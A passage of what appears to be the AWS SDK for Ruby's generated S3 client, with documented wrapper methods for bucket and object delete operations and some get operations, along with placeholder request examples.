# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketCors AWS API Documentation
#
# @overload delete_bucket_cors(params = {})
# @param [Hash] params ({})
def delete_bucket_cors(params = {}, options = {})
req = build_request(:delete_bucket_cors, params)
req.send_request(options)
end
# This implementation of the DELETE operation removes default encryption
# from the bucket. For information about the Amazon S3 default
# encryption feature, see [Amazon S3 Default Bucket Encryption][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
# To use this operation, you must have permissions to perform the
# `s3:PutEncryptionConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][2] and [Managing Access
# Permissions to your Amazon S3 Resources][3] in the *Amazon Simple
# Storage Service Developer Guide*.
#
# **Related Resources**
#
# * PutBucketEncryption
#
# * GetBucketEncryption
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the server-side encryption
# configuration to delete.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_encryption({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketEncryption AWS API Documentation
#
# @overload delete_bucket_encryption(params = {})
# @param [Hash] params ({})
def delete_bucket_encryption(params = {}, options = {})
req = build_request(:delete_bucket_encryption, params)
req.send_request(options)
end
# Deletes an inventory configuration (identified by the inventory ID)
# from the bucket.
#
# To use this operation, you must have permissions to perform the
# `s3:PutInventoryConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about the Amazon S3 inventory feature, see [Amazon S3
# Inventory][3].
#
# Operations related to `DeleteBucketInventoryConfiguration` include:
#
# * GetBucketInventoryConfiguration
#
# * PutBucketInventoryConfiguration
#
# * ListBucketInventoryConfigurations
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-inventory.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the inventory configuration to
# delete.
#
# @option params [required, String] :id
# The ID used to identify the inventory configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_inventory_configuration({
# bucket: "BucketName", # required
# id: "InventoryId", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketInventoryConfiguration AWS API Documentation
#
# @overload delete_bucket_inventory_configuration(params = {})
# @param [Hash] params ({})
def delete_bucket_inventory_configuration(params = {}, options = {})
req = build_request(:delete_bucket_inventory_configuration, params)
req.send_request(options)
end
# Deletes the lifecycle configuration from the specified bucket. Amazon
# S3 removes all the lifecycle configuration rules in the lifecycle
# subresource associated with the bucket. Your objects never expire, and
# Amazon S3 no longer automatically deletes any objects on the basis of
# rules contained in the deleted lifecycle configuration.
#
# To use this operation, you must have permission to perform the
# `s3:PutLifecycleConfiguration` action. By default, the bucket owner
# has this permission and the bucket owner can grant this permission to
# others.
#
# There is usually some time lag before lifecycle configuration deletion
# is fully propagated to all the Amazon S3 systems.
#
# For more information about the object expiration, see [Elements to
# Describe Lifecycle Actions][1].
#
# Related actions include:
#
# * PutBucketLifecycleConfiguration
#
# * GetBucketLifecycleConfiguration
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/intro-lifecycle-rules.html#intro-lifecycle-rules-actions
#
# @option params [required, String] :bucket
# The bucket name of the lifecycle to delete.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete lifecycle configuration on a bucket.
#
# # The following example deletes lifecycle configuration on a bucket.
#
# resp = client.delete_bucket_lifecycle({
# bucket: "examplebucket",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_lifecycle({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketLifecycle AWS API Documentation
#
# @overload delete_bucket_lifecycle(params = {})
# @param [Hash] params ({})
def delete_bucket_lifecycle(params = {}, options = {})
req = build_request(:delete_bucket_lifecycle, params)
req.send_request(options)
end
# Deletes a metrics configuration for the Amazon CloudWatch request
# metrics (specified by the metrics configuration ID) from the bucket.
# Note that this doesn't include the daily storage metrics.
#
# To use this operation, you must have permissions to perform the
# `s3:PutMetricsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about CloudWatch request metrics for Amazon S3, see
# [Monitoring Metrics with Amazon CloudWatch][3].
#
# The following operations are related to
# `DeleteBucketMetricsConfiguration`\:
#
# * GetBucketMetricsConfiguration
#
# * PutBucketMetricsConfiguration
#
# * ListBucketMetricsConfigurations
#
# * [Monitoring Metrics with Amazon CloudWatch][3]
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cloudwatch-monitoring.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the metrics configuration to delete.
#
# @option params [required, String] :id
# The ID used to identify the metrics configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_metrics_configuration({
# bucket: "BucketName", # required
# id: "MetricsId", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketMetricsConfiguration AWS API Documentation
#
# @overload delete_bucket_metrics_configuration(params = {})
# @param [Hash] params ({})
def delete_bucket_metrics_configuration(params = {}, options = {})
req = build_request(:delete_bucket_metrics_configuration, params)
req.send_request(options)
end
# This implementation of the DELETE operation uses the policy
# subresource to delete the policy of a specified bucket. If you are
# using an identity other than the root user of the AWS account that
# owns the bucket, the calling identity must have the
# `DeleteBucketPolicy` permissions on the specified bucket and belong to
# the bucket owner's account to use this operation.
#
# If you don't have `DeleteBucketPolicy` permissions, Amazon S3 returns
# a `403 Access Denied` error. If you have the correct permissions, but
# you're not using an identity that belongs to the bucket owner's
# account, Amazon S3 returns a `405 Method Not Allowed` error.
#
# As a security precaution, the root user of the AWS account that owns a
# bucket can always use this operation, even if the policy explicitly
# denies the root user the ability to perform this action.
#
# For more information about bucket policies, see [Using Bucket Policies
# and UserPolicies](
# https://docs.aws.amazon.com/AmazonS3/latest/dev/using-iam-policies.html).
#
# The following operations are related to `DeleteBucketPolicy`
#
# * CreateBucket
#
# * DeleteObject
#
# @option params [required, String] :bucket
# The bucket name.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete bucket policy
#
# # The following example deletes bucket policy on the specified bucket.
#
# resp = client.delete_bucket_policy({
# bucket: "examplebucket",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_policy({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketPolicy AWS API Documentation
#
# @overload delete_bucket_policy(params = {})
# @param [Hash] params ({})
def delete_bucket_policy(params = {}, options = {})
req = build_request(:delete_bucket_policy, params)
req.send_request(options)
end
# Deletes the replication configuration from the bucket.
#
# To use this operation, you must have permissions to perform the
# `s3:PutReplicationConfiguration` action. The bucket owner has these
# permissions by default and can grant it to others. For more
# information about permissions, see [Permissions Related to Bucket
# Subresource Operations][1] and [Managing Access Permissions to Your
# Amazon S3 Resources][2].
#
# <note markdown="1"> It can take a while for the deletion of a replication configuration to
# fully propagate.
#
# </note>
#
# For information about replication configuration, see [Replication](
# https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html) in
# the *Amazon S3 Developer Guide*.
#
# The following operations are related to `DeleteBucketReplication`\:
#
# * PutBucketReplication
#
# * GetBucketReplication
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The bucket name.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete bucket replication configuration
#
# # The following example deletes replication configuration set on bucket.
#
# resp = client.delete_bucket_replication({
# bucket: "example",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_replication({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketReplication AWS API Documentation
#
# @overload delete_bucket_replication(params = {})
# @param [Hash] params ({})
def delete_bucket_replication(params = {}, options = {})
req = build_request(:delete_bucket_replication, params)
req.send_request(options)
end
# Deletes the tags from the bucket.
#
# To use this operation, you must have permission to perform the
# `s3:PutBucketTagging` action. By default, the bucket owner has this
# permission and can grant this permission to others.
#
# The following operations are related to `DeleteBucketTagging`\:
#
# * GetBucketTagging
#
# * PutBucketTagging
#
# @option params [required, String] :bucket
# The bucket that has the tag set to be removed.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete bucket tags
#
# # The following example deletes bucket tags.
#
# resp = client.delete_bucket_tagging({
# bucket: "examplebucket",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_tagging({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketTagging AWS API Documentation
#
# @overload delete_bucket_tagging(params = {})
# @param [Hash] params ({})
def delete_bucket_tagging(params = {}, options = {})
req = build_request(:delete_bucket_tagging, params)
req.send_request(options)
end
# This operation removes the website configuration for a bucket. Amazon
# S3 returns a `200 OK` response upon successfully deleting a website
# configuration on the specified bucket. You will get a `200 OK`
# response if the website configuration you are trying to delete does
# not exist on the bucket. Amazon S3 returns a `404` response if the
# bucket specified in the request does not exist.
#
# This DELETE operation requires the `S3:DeleteBucketWebsite`
# permission. By default, only the bucket owner can delete the website
# configuration attached to a bucket. However, bucket owners can grant
# other users permission to delete the website configuration by writing
# a bucket policy granting them the `S3:DeleteBucketWebsite` permission.
#
# For more information about hosting websites, see [Hosting Websites on
# Amazon S3][1].
#
# The following operations are related to `DeleteBucketWebsite`\:
#
# * GetBucketWebsite
#
# * PutBucketWebsite
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteHosting.html
#
# @option params [required, String] :bucket
# The bucket name for which you want to remove the website
# configuration.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: To delete bucket website configuration
#
# # The following example deletes bucket website configuration.
#
# resp = client.delete_bucket_website({
# bucket: "examplebucket",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_bucket_website({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketWebsite AWS API Documentation
#
# @overload delete_bucket_website(params = {})
# @param [Hash] params ({})
def delete_bucket_website(params = {}, options = {})
req = build_request(:delete_bucket_website, params)
req.send_request(options)
end
# Removes the null version (if there is one) of an object and inserts a
# delete marker, which becomes the latest version of the object. If
# there isn't a null version, Amazon S3 does not remove any objects.
#
# To remove a specific version, you must be the bucket owner and you
# must use the version Id subresource. Using this subresource
# permanently deletes the version. If the object deleted is a delete
# marker, Amazon S3 sets the response header, `x-amz-delete-marker`, to
# true.
#
# If the object you want to delete is in a bucket where the bucket
# versioning configuration is MFA Delete enabled, you must include the
# `x-amz-mfa` request header in the DELETE `versionId` request. Requests
# that include `x-amz-mfa` must use HTTPS.
#
# For more information about MFA Delete, see [Using MFA Delete][1]. To
# see sample requests that use versioning, see [Sample Request][2].
#
# You can delete objects by explicitly calling the DELETE Object API or
# configure its lifecycle (PutBucketLifecycle) to enable Amazon S3 to
# remove them for you. If you want to block users or accounts from
# removing or deleting objects from your bucket, you must deny them the
# `s3:DeleteObject`, `s3:DeleteObjectVersion`, and
# `s3:PutLifeCycleConfiguration` actions.
#
# The following operation is related to `DeleteObject`\:
#
# * PutObject
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMFADelete.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectDELETE.html#ExampleVersionObjectDelete
#
# @option params [required, String] :bucket
# The bucket name of the bucket containing the object.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Key name of the object to delete.
#
# @option params [String] :mfa
# The concatenation of the authentication device's serial number, a
# space, and the value that is displayed on your authentication device.
# Required to permanently delete a versioned object if versioning is
# configured with MFA delete enabled.
#
# @option params [String] :version_id
# VersionId used to reference a specific version of the object.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [Boolean] :bypass_governance_retention
# Indicates whether S3 Object Lock should bypass Governance-mode
# restrictions to process this operation.
#
# @return [Types::DeleteObjectOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteObjectOutput#delete_marker #delete_marker} => Boolean
# * {Types::DeleteObjectOutput#version_id #version_id} => String
# * {Types::DeleteObjectOutput#request_charged #request_charged} => String
#
#
# @example Example: To delete an object
#
# # The following example deletes an object from an S3 bucket.
#
# resp = client.delete_object({
# bucket: "examplebucket",
# key: "objectkey.jpg",
# })
#
# resp.to_h outputs the following:
# {
# }
#
# @example Example: To delete an object (from a non-versioned bucket)
#
# # The following example deletes an object from a non-versioned bucket.
#
# resp = client.delete_object({
# bucket: "ExampleBucket",
# key: "HappyFace.jpg",
# })
#
# @example Request syntax with placeholder values
#
# resp = client.delete_object({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# mfa: "MFA",
# version_id: "ObjectVersionId",
# request_payer: "requester", # accepts requester
# bypass_governance_retention: false,
# })
#
# @example Response structure
#
# resp.delete_marker #=> Boolean
# resp.version_id #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObject AWS API Documentation
#
# @overload delete_object(params = {})
# @param [Hash] params ({})
def delete_object(params = {}, options = {})
req = build_request(:delete_object, params)
req.send_request(options)
end
# Removes the entire tag set from the specified object. For more
# information about managing object tags, see [ Object Tagging][1].
#
# To use this operation, you must have permission to perform the
# `s3:DeleteObjectTagging` action.
#
# To delete tags of a specific object version, add the `versionId` query
# parameter in the request. You will need permission for the
# `s3:DeleteObjectVersionTagging` action.
#
# The following operations are related to
# `DeleteBucketMetricsConfiguration`\:
#
# * PutObjectTagging
#
# * GetObjectTagging
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-tagging.html
#
# @option params [required, String] :bucket
# The bucket name containing the objects from which to remove the tags.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Name of the tag.
#
# @option params [String] :version_id
# The versionId of the object that the tag-set will be removed from.
#
# @return [Types::DeleteObjectTaggingOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteObjectTaggingOutput#version_id #version_id} => String
#
#
# @example Example: To remove tag set from an object version
#
# # The following example removes tag set associated with the specified object version. The request specifies both the
# # object key and object version.
#
# resp = client.delete_object_tagging({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# version_id: "ydlaNkwWm0SfKJR.T1b1fIdPRbldTYRI",
# })
#
# resp.to_h outputs the following:
# {
# version_id: "ydlaNkwWm0SfKJR.T1b1fIdPRbldTYRI",
# }
#
# @example Example: To remove tag set from an object
#
# # The following example removes tag set associated with the specified object. If the bucket is versioning enabled, the
# # operation removes tag set from the latest object version.
#
# resp = client.delete_object_tagging({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# version_id: "null",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.delete_object_tagging({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# })
#
# @example Response structure
#
# resp.version_id #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObjectTagging AWS API Documentation
#
# @overload delete_object_tagging(params = {})
# @param [Hash] params ({})
def delete_object_tagging(params = {}, options = {})
req = build_request(:delete_object_tagging, params)
req.send_request(options)
end
# This operation enables you to delete multiple objects from a bucket
# using a single HTTP request. If you know the object keys that you want
# to delete, then this operation provides a suitable alternative to
# sending individual delete requests, reducing per-request overhead.
#
# The request contains a list of up to 1000 keys that you want to
# delete. In the XML, you provide the object key names, and optionally,
# version IDs if you want to delete a specific version of the object
# from a versioning-enabled bucket. For each key, Amazon S3 performs a
# delete operation and returns the result of that delete, success, or
# failure, in the response. Note that if the object specified in the
# request is not found, Amazon S3 returns the result as deleted.
#
# The operation supports two modes for the response: verbose and quiet.
# By default, the operation uses verbose mode in which the response
# includes the result of deletion of each key in your request. In quiet
# mode the response includes only keys where the delete operation
# encountered an error. For a successful deletion, the operation does
# not return any information about the delete in the response body.
#
# When performing this operation on an MFA Delete enabled bucket, that
# attempts to delete any versioned objects, you must include an MFA
# token. If you do not provide one, the entire request will fail, even
# if there are non-versioned objects you are trying to delete. If you
# provide an invalid token, whether there are versioned keys in the
# request or not, the entire Multi-Object Delete request will fail. For
# information about MFA Delete, see [ MFA Delete][1].
#
# Finally, the Content-MD5 header is required for all Multi-Object
# Delete requests. Amazon S3 uses the header value to ensure that your
# request body has not been altered in transit.
#
# The following operations are related to `DeleteObjects`\:
#
# * CreateMultipartUpload
#
# * UploadPart
#
# * CompleteMultipartUpload
#
# * ListParts
#
# * AbortMultipartUpload
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/Versioning.html#MultiFactorAuthenticationDelete
#
# @option params [required, String] :bucket
# The bucket name containing the objects to delete.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, Types::Delete] :delete
# Container for the request.
#
# @option params [String] :mfa
# The concatenation of the authentication device's serial number, a
# space, and the value that is displayed on your authentication device.
# Required to permanently delete a versioned object if versioning is
# configured with MFA delete enabled.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [Boolean] :bypass_governance_retention
# Specifies whether you want to delete this object even if it has a
# Governance-type Object Lock in place. You must have sufficient
# permissions to perform this operation.
#
# @return [Types::DeleteObjectsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::DeleteObjectsOutput#deleted #deleted} => Array<Types::DeletedObject>
# * {Types::DeleteObjectsOutput#request_charged #request_charged} => String
# * {Types::DeleteObjectsOutput#errors #errors} => Array<Types::Error>
#
#
# @example Example: To delete multiple object versions from a versioned bucket
#
# # The following example deletes objects from a bucket. The request specifies object versions. S3 deletes specific object
# # versions and returns the key and versions of deleted objects in the response.
#
# resp = client.delete_objects({
# bucket: "examplebucket",
# delete: {
# objects: [
# {
# key: "HappyFace.jpg",
# version_id: "2LWg7lQLnY41.maGB5Z6SWW.dcq0vx7b",
# },
# {
# key: "HappyFace.jpg",
# version_id: "yoz3HB.ZhCS_tKVEmIOr7qYyyAaZSKVd",
# },
# ],
# quiet: false,
# },
# })
#
# resp.to_h outputs the following:
# {
# deleted: [
# {
# key: "HappyFace.jpg",
# version_id: "yoz3HB.ZhCS_tKVEmIOr7qYyyAaZSKVd",
# },
# {
# key: "HappyFace.jpg",
# version_id: "2LWg7lQLnY41.maGB5Z6SWW.dcq0vx7b",
# },
# ],
# }
#
# @example Example: To delete multiple objects from a versioned bucket
#
# # The following example deletes objects from a bucket. The bucket is versioned, and the request does not specify the
# # object version to delete. In this case, all versions remain in the bucket and S3 adds a delete marker.
#
# resp = client.delete_objects({
# bucket: "examplebucket",
# delete: {
# objects: [
# {
# key: "objectkey1",
# },
# {
# key: "objectkey2",
# },
# ],
# quiet: false,
# },
# })
#
# resp.to_h outputs the following:
# {
# deleted: [
# {
# delete_marker: true,
# delete_marker_version_id: "A._w1z6EFiCF5uhtQMDal9JDkID9tQ7F",
# key: "objectkey1",
# },
# {
# delete_marker: true,
# delete_marker_version_id: "iOd_ORxhkKe_e8G8_oSGxt2PjsCZKlkt",
# key: "objectkey2",
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.delete_objects({
# bucket: "BucketName", # required
# delete: { # required
# objects: [ # required
# {
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# },
# ],
# quiet: false,
# },
# mfa: "MFA",
# request_payer: "requester", # accepts requester
# bypass_governance_retention: false,
# })
#
# @example Response structure
#
# resp.deleted #=> Array
# resp.deleted[0].key #=> String
# resp.deleted[0].version_id #=> String
# resp.deleted[0].delete_marker #=> Boolean
# resp.deleted[0].delete_marker_version_id #=> String
# resp.request_charged #=> String, one of "requester"
# resp.errors #=> Array
# resp.errors[0].key #=> String
# resp.errors[0].version_id #=> String
# resp.errors[0].code #=> String
# resp.errors[0].message #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteObjects AWS API Documentation
#
# @overload delete_objects(params = {})
# @param [Hash] params ({})
def delete_objects(params = {}, options = {})
req = build_request(:delete_objects, params)
req.send_request(options)
end
# Removes the `PublicAccessBlock` configuration for an Amazon S3 bucket.
# To use this operation, you must have the
# `s3:PutBucketPublicAccessBlock` permission. For more information about
# permissions, see [Permissions Related to Bucket Subresource
# Operations][1] and [Managing Access Permissions to Your Amazon S3
# Resources][2].
#
# The following operations are related to `DeletePublicAccessBlock`\:
#
# * [Using Amazon S3 Block Public Access][3]
#
# * GetPublicAccessBlock
#
# * PutPublicAccessBlock
#
# * GetBucketPolicyStatus
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html
#
# @option params [required, String] :bucket
# The Amazon S3 bucket whose `PublicAccessBlock` configuration you want
# to delete.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_public_access_block({
# bucket: "BucketName", # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeletePublicAccessBlock AWS API Documentation
#
# @overload delete_public_access_block(params = {})
# @param [Hash] params ({})
def delete_public_access_block(params = {}, options = {})
req = build_request(:delete_public_access_block, params)
req.send_request(options)
end
# This implementation of the GET operation uses the `accelerate`
# subresource to return the Transfer Acceleration state of a bucket,
# which is either `Enabled` or `Suspended`. Amazon S3 Transfer
# Acceleration is a bucket-level feature that enables you to perform
# faster data transfers to and from Amazon S3.
#
# To use this operation, you must have permission to perform the
# `s3:GetAccelerateConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to your Amazon S3 Resources][2] in the *Amazon Simple
# Storage Service Developer Guide*.
#
# You set the Transfer Acceleration state of an existing bucket to
# `Enabled` or `Suspended` by using the PutBucketAccelerateConfiguration
# operation.
#
# A GET `accelerate` request does not return a state value for a bucket
# that has no transfer acceleration state. A bucket has no Transfer
# Acceleration state if a state has never been set on the bucket.
#
# For more information about transfer acceleration, see [Transfer
# Acceleration][3] in the Amazon Simple Storage Service Developer Guide.
#
# **Related Resources**
#
# * PutBucketAccelerateConfiguration
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/transfer-acceleration.html
#
# @option params [required, String] :bucket
# Name of the bucket for which the accelerate configuration is
# retrieved.
#
# @return [Types::GetBucketAccelerateConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketAccelerateConfigurationOutput#status #status} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_accelerate_configuration({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.status #=> String, one of "Enabled", "Suspended"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAccelerateConfiguration AWS API Documentation
#
# @overload get_bucket_accelerate_configuration(params = {})
# @param [Hash] params ({})
def get_bucket_accelerate_configuration(params = {}, options = {})
req = build_request(:get_bucket_accelerate_configuration, params)
req.send_request(options)
end
# This implementation of the `GET` operation uses the `acl` subresource
# to return the access control list (ACL) of a bucket. To use `GET` to
# return the ACL of the bucket, you must have `READ_ACP` access to the
# bucket. If `READ_ACP` permission is granted to the anonymous user, you
# can return the ACL of the bucket without using an authorization
# header.
#
# **Related Resources**
#
# *
# ^
#
# @option params [required, String] :bucket
# Specifies the S3 bucket whose ACL is being requested.
#
# @return [Types::GetBucketAclOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketAclOutput#owner #owner} => Types::Owner
# * {Types::GetBucketAclOutput#grants #grants} => Array<Types::Grant>
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_acl({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.owner.display_name #=> String
# resp.owner.id #=> String
# resp.grants #=> Array
# resp.grants[0].grantee.display_name #=> String
# resp.grants[0].grantee.email_address #=> String
# resp.grants[0].grantee.id #=> String
# resp.grants[0].grantee.type #=> String, one of "CanonicalUser", "AmazonCustomerByEmail", "Group"
# resp.grants[0].grantee.uri #=> String
# resp.grants[0].permission #=> String, one of "FULL_CONTROL", "WRITE", "WRITE_ACP", "READ", "READ_ACP"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAcl AWS API Documentation
#
# @overload get_bucket_acl(params = {})
# @param [Hash] params ({})
def get_bucket_acl(params = {}, options = {})
req = build_request(:get_bucket_acl, params)
req.send_request(options)
end
# This implementation of the GET operation returns an analytics
# configuration (identified by the analytics configuration ID) from the
# bucket.
#
# To use this operation, you must have permissions to perform the
# `s3:GetAnalyticsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [ Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2] in the *Amazon Simple
# Storage Service Developer Guide*.
#
# For information about Amazon S3 analytics feature, see [Amazon S3
# Analytics – Storage Class Analysis][3] in the *Amazon Simple Storage
# Service Developer Guide*.
#
# **Related Resources**
#
# *
# *
# *
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/analytics-storage-class.html
#
# @option params [required, String] :bucket
# The name of the bucket from which an analytics configuration is
# retrieved.
#
# @option params [required, String] :id
# The ID that identifies the analytics configuration.
#
# @return [Types::GetBucketAnalyticsConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketAnalyticsConfigurationOutput#analytics_configuration #analytics_configuration} => Types::AnalyticsConfiguration
#
